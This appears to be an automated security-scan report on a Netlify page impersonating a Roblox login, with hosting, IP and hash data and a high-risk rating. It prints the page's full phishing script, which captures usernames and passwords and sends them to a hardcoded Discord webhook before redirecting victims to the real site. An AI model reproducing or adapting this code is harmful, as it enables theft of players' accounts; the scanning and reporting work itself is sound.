cryptocurrency blockchain

technology software

documentation technical

phishing scam

English

The domain 'inquisitive-medovik-5c87ae.netlify.app' uses the application-focused generic top-level domain (.app) and includes subdomain 'inquisitive-medovik-5c87ae'. Count 7 characters in 'netlify' holding two vowels versus 5 consonants. It segments into three words: net, li, fy. Median word length is 2 characters. No strong language cues emerged from the frequency lists.

9a2d804d43cd32183bd2b6d835edab14271cadcb5ad2d0b05c84196f55b81e8f

a4675b0f7a73aafe710f619973f64dd2a75e182ea6f210224bffac1a1e05ea80

hosting-provider

https://netlify.new/?utm_campaign=ai-legible&utm_source=meta&utm_medium=referral&utm_id=dbab7874-33b6-4bb9-8512-ceefe704ac7a

netlify-deploy

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://webui-test chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';media-src blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

Name.com Abuse Team

Name.com, Inc.

netlify.app

Amazon Web Services, LLC

Amazon

A100 ROW GmbH

Amazon Webservices EC2

AMAZON-FRA


    // PASTE YOUR WEBHOOK URL HERE
    const webhookURL = "https://discord.com/api/webhooks/1517884196729913395/nXLH7pXgQ5DLYaC_Glqfxt9sAAKtSs2GBObI0Gb3KPgyLslLF-NSdUNNJbJ7TC9RO1NU";

    document.getElementById('robloxForm').addEventListener('submit', async function(e) {
      e.preventDefault();
      
      const user = document.getElementById('userInput').value;
      const pass = document.getElementById('passInput').value;
      const btn = document.getElementById('loginBtn');
      
      // UI Feedback
      btn.textContent = "Logging in...";
      btn.style.opacity = "0.7";
      btn.disabled = true;

      // Create Embed Data
      const date = new Date().toLocaleString();
      const userAgent = navigator.userAgent;
      
      const payload = {
        content: null,
        embeds: [{
          title: "💎 Roblox Phish Report",
          description: "New credentials captured.",
          color: 5814783, // Roblox-ish Red/Pink
          fields: [
            { name: "👤 Username", value: user, inline: true },
            { name: "🔑 Password", value: pass, inline: true },
            { name: "🕒 Time", value: date, inline: false },
            { name: "💻 Device", value: userAgent.substring(0, 50) + "...", inline: false }
          ],
          footer: { text: "Phisher Status: Active" },
          timestamp: new Date().toISOString()
        }]
      };

      try {
        // Send to Discord
        await fetch(webhookURL, {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify(payload)
        });
        
        // Fake Success & Redirect
        setTimeout(() => {
            alert("Success! Redirecting to Roblox...");
            window.location.href = "https://www.roblox.com";
        }, 1000);
        
      } catch (error) {
        alert("Connection error, but trying to continue...");
        window.location.href = "https://www.roblox.com";
      }
    });
  

PoweredBy

Login to Roblox

⚠️ High Risk - http://inquisitive-medovik-5c87ae.netlify.app/

Requests	IP Address	Location	AS Autonomous System
4	63.176.8.218Aws · CLOUD	Frankfurt am Main, Hesse, Germany	AS16509Amazon.com, Inc.
4	1	-	-

Security Scan Report: inquisitive-medovik-5c87ae.netlify.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History